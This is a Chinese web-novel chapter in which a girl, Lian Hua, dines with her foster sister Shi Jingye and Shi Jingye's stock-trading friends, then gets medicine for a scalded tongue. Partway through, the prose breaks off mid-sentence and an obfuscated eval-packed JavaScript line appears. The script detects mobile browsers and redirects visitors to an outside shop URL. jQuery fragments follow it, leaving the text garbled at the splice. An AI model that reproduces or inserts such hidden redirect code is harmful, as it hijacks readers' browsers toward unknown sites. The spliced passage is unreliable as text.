吃饭的时候,舒楹一手撑着下巴,拿筷子的姿态懒散随意。
她的脸朝着时静夜的方向,余光似有若无瞥向时静夜这位新妹妹。
记得时静夜大致提过,小朋友的老家在柴庄,一座山里。而她这辈子对山的全部了解,仅限于新闻和行测题。
因此,她的眼里充满了观察和好奇。
连婳感受到了舒楹的目光。
她今天是有特别集中注意力,时刻留意着桌上的动静。每上一道菜,总要看大家都怎么动筷,夹多少,再判断自己该怎么做。
当然,大部分时间,她的主要观察对象都是身旁的时静夜。
察觉到舒楹的目光之后,连婳小心翼翼地端起果汁,慢慢抿了一口。
是因为她实在不喜欢鸡汤里的橘皮,将它挑出来,让安安姐姐的朋友觉得浪费了吗?
连婳忐忑不安中,时静夜和桌上另一个叫符池君的姐姐聊到了前年股权分置改革的事情。
“哎,老符,别的不说,中国船舶的低点在三块还是四块来着?前两天我把它连中信一块儿抛了,本金总共只花了五千,你猜猜我最后赚了多少?”舒楹的视线总算偏开,笑眯眯对身边的人比划,“这个数哦,翻了几十倍,你后不后悔,嗯?嗯?”
符池君笑起来:“不管你赚了多少,我还是认为,股市就是一个风浪巨大的深海,涨涨跌跌的确刺激,但没有永远安全的航行。”
舒楹“切”了一声:“你就是太胆小了。”
“是你太胆大,和家里吵架还敢把所有生活费都赌进去,你问问时静夜,换她,她会这样冒险吗?”
时静夜从舒楹开口后就一直没有说话,默默给自己舀了一碗鸡汤,再拿过身旁连婳的碗,把汤面上的油和橘皮都撇去,舀了一勺,送回。
“谢谢姐姐。”连婳小声说。
“嗯。”时静夜淡淡应了一句。
舒楹看她们两眼,这才转回头对符池君微笑:“那你猜猜当时是谁和我一起天天吃泡面呀?”
符池君一愣,不确定地看向时静夜。
“这位你眼中不冒险的人,当时除了生活费,还把她妈给她的存款都丢进去了。”舒楹悠悠抬起手,“我们时静夜可是投了足足六万块哦,你真以为她是什么正常人吗?”
“……六万?”
六万!!!!!!
伴随符池君迟疑的声音,连婳心底惊呼!
然后……
她的舌尖瞬间被鸡汤烫出一个泡。
脸红透了,又不敢表现太明显,只能痛苦地埋低脑袋,拼命倒吸冷气,努力忍了过去。
晚饭后半程,桌上姐姐都在聊什么证监会、银行、全盘清仓的话题。连婳一句也听不懂,舌尖上的泡反复磨到牙齿,很疼,好吃的菜也不怎么想吃了。
大约八点十五分,大家放下筷子。
“我去趟卫生间。”时静夜拍了下连婳的肩膀。
“喔,好的。”连婳乖乖点头。
桌对面两个人在争谁买单,自称赚了一大笔零花钱的舒楹姐姐一直说小虾米就别想挣扎了,还是姐姐我去给吧。小虾米符池君姐姐则不肯让位,环着胳膊表示我们可以公平竞争,猜拳,谁输了谁给。舒楹姐姐立刻“哈哈”干笑两声,瞪眼,谁跟你这么幼稚!
于是和两人都不熟悉的连婳,全程安静坐着。灯光下一双上翘的桃花眼显得很精神,一会儿往右看,觉得舒楹姐姐有道理,一会儿往左看,觉得符池君姐姐也没错。
“你们收拾好了吗。”
时静夜终于走回来,手上拿着一个米白色的方格钱包,“连婳,包给我。”
买单大战到最后,竟然是时静夜获得了胜利。
连婳莫名有些骄傲。
觉得还是自己的姐姐最聪明可靠……
自己的姐姐?
她跟在时静夜身侧走,脑海中浮现出这几个字的时候,忽然唇一抿,不好意思地仰头看了一眼。
时静夜正好也看她:“舌头好点了?”
果然好聪明!
连婳下意识反问:“你怎么知道我舌头烫到了?”
“因为汤很烫。”时静夜言简意赅。
“喔。”
夏末初秋的天暗下来,华灯初上,被时静夜随口提了一句,连婳就一直忍不住,不断用舌尖去磨蹭门牙的背面,感受这个让她刺疼的泡。
突然感觉到肩膀被搂了一下,随后很快松开,时静夜提醒她:“走这边。”
拐进距离饭店有一段路的停车场,里面只有一盏不亮的灯,支在角落。
时静夜让连婳站灯下等着,她去开车。
连婳点了点头。
不过时静夜刚走没两步,又转身回来,从包里取出一个小小的瓶子,一言不发蹲下,仔仔细细给连婳的脚、手还有脖子,都喷上了花露水。
“站外面,墙角蚊子多。”收好花露水,人再次离去。
连婳看着这个曾经在她眼中十分冷漠,这会儿变朦胧、平静又温柔的背影,心口再次出现了一种热热的令她分外满足的感觉。
连婳非常高兴,坐上车,不由自主地看着时静夜笑。
时静夜只瞥了她一眼,没说话,等她把安全带稳稳扣好,方向盘一转,车身径直拐出了停车场。
车子没开出几十米,又缓缓靠边停下了。
听见解开安全带的声音,连婳转头,表情些许疑惑,刚张嘴想要询问。
“你不下车。”时静夜作出指示。
连婳的目光跟着拉开车门的时静夜下车,从前灯绕过,身体往右边倾斜,双手扒在了副驾窗框上。
隔着一道玻璃,见不远处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17906731|213039||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绿油油的牌匾上用粗体白字写着“仁和中西大药房”七个字。
时静夜进门后跟值班店员说明了情况,小朋友喝汤烫到了舌头,可能起了一个泡,想要喷剂、维C,喷剂最好是儿童专用药。
等店员去找药,期间,时静夜拿出小灵通看了一会儿。放下时扭头,隔着重重玻璃,见连婳小小的身影守在窗玻璃里面,像小动物,也像商场橱窗里的服装娃娃。
她眨了下眼,淡淡收回视线,这时候低头看了一眼自己身上穿的牛仔外套,回想起舒楹那一句“姐妹装”。
两套衣服都是时万玫买的。
她并不喜欢这种巧合。
连婳接住一袋药,脸上满是惊讶。
视线转向隔壁。
坐在副驾驶上的人脱下外套,搭在腿上,身上只留一件灰色长裙。这个时候,连婳才发现时静夜这条长裙是露肩的,锁骨前戴着一条浅金色的项链,弯曲波浪,有点像蛇的形状,最重要的是,金色上面还缀着一颗闪闪发光的“钻石”。
这么漂亮,应该是钻石吧?
就像广告里演的那样——“钻石恒久远,一颗永流传。”
连婳顿时又想起安安姐姐在前年,竟然,花了,六万块钱!
六万是什么概念呢,连婳心中速速算了一笔,她念小学的学费加上学杂费,一学期不过几百块,零食是几毛,那么,安安姐姐花掉的钱可以让她念几百个学期,吃几十万包零食!
一算到这里,连婳睁大了眼睛,脑海中迅速闪过舒楹姐姐那句你真以为她是什么正常人吗。
时静夜偏头看向她:“干什么。”
连婳忙摇头,快速坐正,成千上万的金币哗啦啦砸进她的心里,渐渐堆成一座金灿灿的高山。
晚上她做梦了。
梦见时静夜面无表情坐在一座金币山上,手中慢悠悠按着计算器,电子女声播报:“一万、两万、三万——”
时静夜写稿子写到一半,听见走廊里传来很轻的脚步声。
她看了眼时间,十一点二十一分。
推开门,连婳正好从卫生间走出来,看上去眯着眼,迷迷瞪瞪的样子。
“连婳。”见对方没注意到自己,时静夜干脆出声。
“……嗯?!”不远处的小个子先是转头,再是吓了一跳,“对不起,我是不是声音……”
“药用了吗?”
“……啊?”
“喷雾。”时静夜抚着门把,抬了抬下巴,“舌头好点没有。”
啊。
连婳站直:“还没用,我忘了……只吃了维C。”
时静夜皱眉。
连婳赶紧又补充:“现在进去就用!立刻用!”
时静夜沉默半晌,摇了摇头,关门前冷冷丢下一句。
“以后少吃点饼干。”